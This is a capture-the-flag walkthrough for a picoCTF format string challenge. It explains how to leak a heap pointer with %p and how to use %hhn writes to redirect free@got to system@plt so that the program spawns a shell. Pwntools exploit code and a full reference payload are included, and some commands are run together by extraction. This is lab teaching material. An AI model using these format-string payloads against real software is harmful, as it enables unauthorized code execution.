Description
The stonk market is back, but this time the flag is no longer helpfully sitting on the stack. You will need to exploit the format string vulnerability more aggressively to get a shell.
Setup
Download the binary and connect to the remote instance.
wget <url>/vulnchmod +x vulnchecksec vulnpip install pwntoolsSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1Confirm the vulnerability and binary mitigations
ObservationThe description names a format string vulnerability and warns the flag is no longer sitting on the stack. So the mitigations need checking before any write primitive gets built.checksec shows: no stack canary, NX enabled, no PIE, and only Partial RELRO. No PIE means all code and GOT addresses are fixed. Partial RELRO means the GOT is still writable after startup. The core bug is in buy_stonks(): 300 bytes are read into a heap buffer via scanf, then that buffer is passed directly to printf with no format string argument, giving full format string control.bashchecksec vulnbash./vulnbashecho '1' | ./vulnbash# Enter option 1 (buy stonks), then send %p.%p.%p.%p as API tokenpythonpython3 -c "import sys; sys.stdout.buffer.write(b'1\n' + b'%p.' * 16 + b'\n')" | ./vulnWhat didn't work first
Tried: Use %x instead of %p to read stack values and locate the heap pointer.
%x prints unsigned hex with no 0x prefix and truncates to 32 bits on a 64-bit target, so heap addresses are silently cut in half and the leak looks like a garbage low word. %p prints at pointer width and keeps the full 64-bit value the write payload needs.
Tried: Send the %p chain directly to the program's main menu prompt rather than option 1's API token prompt.
The vulnerable printf lives inside buy_stonks(), reachable only after option 1. Send format specifiers at the outer menu and it just reprints, because that input goes through a safe integer conversion rather than a raw printf. The format string has to arrive as the API token, after option 1.
Learn more
Format string primer. When
printf(user_buf)is called with a user-controlled first argument, the C runtime treats the string as a format string and processes format specifiers.%preads the next argument-slot value as a pointer and prints it. With no additional arguments, printf reads whatever is on the stack (or in registers on x86-64) as if they were arguments, leaking arbitrary memory.%nwrites the number of characters printed so far into the address held in the next argument slot, which is the write primitive used to overwrite the GOT.Why no canary matters here. This challenge does not use a buffer overflow at all. There is no return-address smash. The entire exploit happens through the format string write, so the absence of a canary is simply a note from checksec, not a bypass that needs to be engineered.
Step 2Locate the heap pointer and the free@got entry
Observationchecksec reports no PIE and Partial RELRO, so GOT addresses are both fixed and writable. Leak the heap buffer address off the stack, find free's GOT entry, and redirect free to system for when free_portfolio() fires.Send a sequence of %p specifiers to find which positional argument holds the portfolio heap pointer. Note that position (you will use it as the write destination later). Meanwhile, inspect the binary to find free@got and system@plt with pwntools or readelf.bash# Find which argument number holds the heap (portfolio) pointerpythonpython3 -c "import sys; sys.stdout.buffer.write(b'1\n' + b'%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p.%9$p.%10$p.%11$p.%12$p.%13$p.%14$p.%15$p.%16$p.%17$p.%18$p.\n')" | ./vulnbash# Use pwntools to inspect GOT and PLTpythonpython3 - <<'EOF'pythonfrom pwn import *bashe = ELF('./vuln')pythonprint('free@got :', hex(e.got['free']))pythonprint('system@plt:', hex(e.plt['system']))bashEOFWhat didn't work first
Tried: Use readelf -r vuln to find free@got instead of pwntools ELF.
readelf -r does print the GOT slot address among its relocation entries, but the format is awkward to parse and easy to misread as a file offset. On a no-PIE binary that column is already the runtime virtual address, so nothing needs adjusting. pwntools returns the same value as a Python integer, which drops straight into a payload with no parsing.
Tried: Target printf@got instead of free@got to redirect execution to system.
Overwrite printf's GOT entry and the next printf call becomes system on the format string. But that string is your payload, not 'sh', so system receives a long run of format specifiers and either fails or runs something garbled. Overwriting free's entry avoids that: free is called later with the heap node pointer, which gives clean control over what system receives.
Learn more
Why overwrite free, not printf? The program calls
free_portfolio()when the user exits, which iterates the linked list and callsfree()on each node. By redirectingfree@gottosystem@plt, the next call tofree(ptr)becomessystem(ptr). Ifptrpoints to a buffer containing the stringsh, a shell spawns. Overwritingprintf@gotis also common but leads to an infinite loop if done carelessly, because the format string itself is printed via printf.Partial RELRO vs Full RELRO. With Full RELRO the dynamic linker resolves all symbols at startup, then marks the GOT read-only with
mprotect. Any attempt to write it segfaults. Partial RELRO only marks the first section read-only; the.got.pltsection (where lazy-binding stubs live) remains writable. That is the slot this exploit targets.Step 3Write sh into the heap buffer using %n
Observationfree_portfolio() calls free() with the heap node pointer as its argument. Put the string 'sh' in that heap buffer, redirect free to system, and system receives 'sh' and spawns a shell.Place the address of a location inside the heap buffer at the start of your format string, then use a positional %hhn specifier that refers to that embedded address. Writing the ASCII values of 's' and 'h' into the right bytes turns part of the buffer into the string sh, which is what system() will receive.bash# Conceptual: writing 'sh\0' at offset 0 of the portfolio bufferbash# %c pads output; count characters printed so far reaches target ASCII valuebash# then %N$hhn writes that count into the address at argument position Npythonpython3 -c "pythonfrom pwn import *bashe = ELF('./vuln')bash# heap_ptr = address learned from recon abovebash# arg_pos_heap = positional index of portfolio pointer on stackbash# see full exploit in the next stepbash"What didn't work first
Tried: Use %n instead of %hhn to write the full integer count into the target address.
%n writes a four-byte integer, which clobbers the three bytes after the target offset. Writing 'sh' means placing exactly 0x73 and 0x68 at chosen offsets without touching their neighbours. %hhn writes a single byte, which is what that needs. Full %n destroys the null terminator and surrounding data, and system() then receives a malformed string.
Tried: Embed the heap address as a literal in the format string without first leaking it from the stack.
The heap pointer moves on every run, because malloc's addresses depend on prior allocations and ASLR randomizes the heap base even without PIE. Hardcode an address from a local test and it points at unmapped or wrong memory remotely. Leak it fresh from the stack with %p on each run and compute the write target for that execution.
Learn more
%n and width specifiers.
printftracks the number of characters it has emitted.%Ncprints one character but counts as N characters of output (it pads to width N).%nwrites that running total into the pointed-to integer;%hhnwrites only the lowest byte. By carefully choosing the width padding you control exactly what byte value gets written. The formula is: target byte value minus characters already printed equals the padding to use for the next%c.Avoiding null bytes in the format string. scanf stops at whitespace. The format string cannot contain literal null bytes, so all addresses embedded in it must be chosen or arranged so that no zero byte appears in the first N characters that scanf reads.
Step 4Overwrite free@got to point to system@plt
ObservationThe saved RBP slot on the stack works as a scratch pointer: write free's GOT address into it, then use a second %hhn to patch that entry with the low byte of system's PLT address, all in one printf call.Build the final format string that does three things in a single printf call: (1) pads output to make the running character count equal to the low byte of system@plt, (2) writes that count to free@got using %hhn via a stack pointer, and (3) writes sh into the heap buffer. Then exit the menu so free_portfolio() fires, calling system(sh) and spawning a shell.pythonpython3 - <<'EOF' from pwn import * e = ELF('./vuln') p = remote('mercury.picoctf.net', 1337) # replace port # Recon: find heap ptr argument position (typically argument 6 or 7 on x86-64) # and the saved rbp position (argument 12 in the typical frame layout). # These must be confirmed empirically on your instance. HEAP_ARG = 6 # positional arg holding portfolio heap pointer RBP_ARG = 12 # positional arg holding saved rbp (used as scratch write target) SH_OFFSET = 0 # write 'sh' at offset 0 of heap buffer free_got = e.got['free'] # e.g. 0x602018 system_plt = e.plt['system'] # e.g. 0x4006f0 # low byte of system@plt to write into free@got low_byte = system_plt & 0xff # The format string uses %c padding to reach each target byte value, # then %N$hhn to write it. Characters already printed before each write # must be tracked and subtracted (modulo 256) to get the right padding. # Example combined payload (exact padding depends on your instance addresses): # %c * 10 pads + %[pad]c%N$hhn to write low byte to free@got # + %[pad]c%M$hhn to write 's' (0x73) to heap+0 # + %[pad]c%M$hhn to write 'h' (0x68) to heap+1 payload = b'%c' * 10 # consume argument slots, counting chars payload += f'%{low_byte - 10}c'.encode() # pad to low_byte total chars payload += f'%{RBP_ARG}$hhn'.encode() # write low_byte into addr at rbp slot # ... (additional writes for sh string omitted for brevity; see context) p.sendlineafter(b'> ', b'1') p.sendlineafter(b'token? ', payload) p.sendlineafter(b'> ', b'2') # exit menu, triggering free_portfolio() p.interactive() # shell EOFExpected output
picoCTF{explo1t_m1t1gashuns_...}What didn't work first
Tried: Hardcode the positional argument numbers HEAP_ARG and RBP_ARG as fixed values without verifying them locally.
The positional argument layout depends on how the compiler laid out the buy_stonks() frame and how many arguments were consumed before the format string. Those numbers shift between compiler versions and optimization levels. Get the heap argument index wrong and 'sh' lands somewhere useless; get the RBP index wrong and the %hhn write hits the wrong cell. Confirm both empirically with a %1$p probe against your own binary.
Tried: Send option '2' to exit the menu before the format string printf call has finished executing.
The exploit takes two interactions. First send the malicious format string as the API token under option 1, which makes printf overwrite free's GOT entry. Then send option 2 to exit, which triggers free_portfolio() and calls the redirected free. Send option 2 early and buy_stonks() aborts before printf runs, so the GOT is never patched.
Learn more
Why this works end to end. After the format string printf call,
free@gotholds the address ofsystem@plt. Whenfree_portfolio()iterates the portfolio linked list and callsfree(node), the dynamic linker resolvesfreethrough the GOT, now findingsysteminstead. The first argument to that call is the node pointer, which points into the heap buffer containingsh\0. Sosystem("sh")executes, giving an interactive shell.pwntools ELF helpers.
e.got['free']returns the address of the GOT cell that holds free's runtime address.e.plt['system']returns the PLT stub address for system. Both are fixed since PIE is disabled.remote()opens a TCP socket;sendlineafterwaits for a prompt then sends a line. See the pwntools guide for the full vocabulary.Full reference exploit (with exact padding) combines these writes into a single format string:
%c%c%c%c%c%c%c%c%c%c%6299662c%n%216c%20$hhn%10504067c%18$n # %n at position 12 writes 0x602018 (free@got addr) into saved rbp slot # %20$hhn writes low byte of system@plt into that newly-written address # %18$n writes 'sh' ASCII value into portfolio heap offset
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{explo1t_m1t1gashuns_...}
The trailing 8-character hex suffix is generated per instance (e.g. d0295f63 or 7838034c). Run the exploit against your assigned instance to retrieve your exact flag.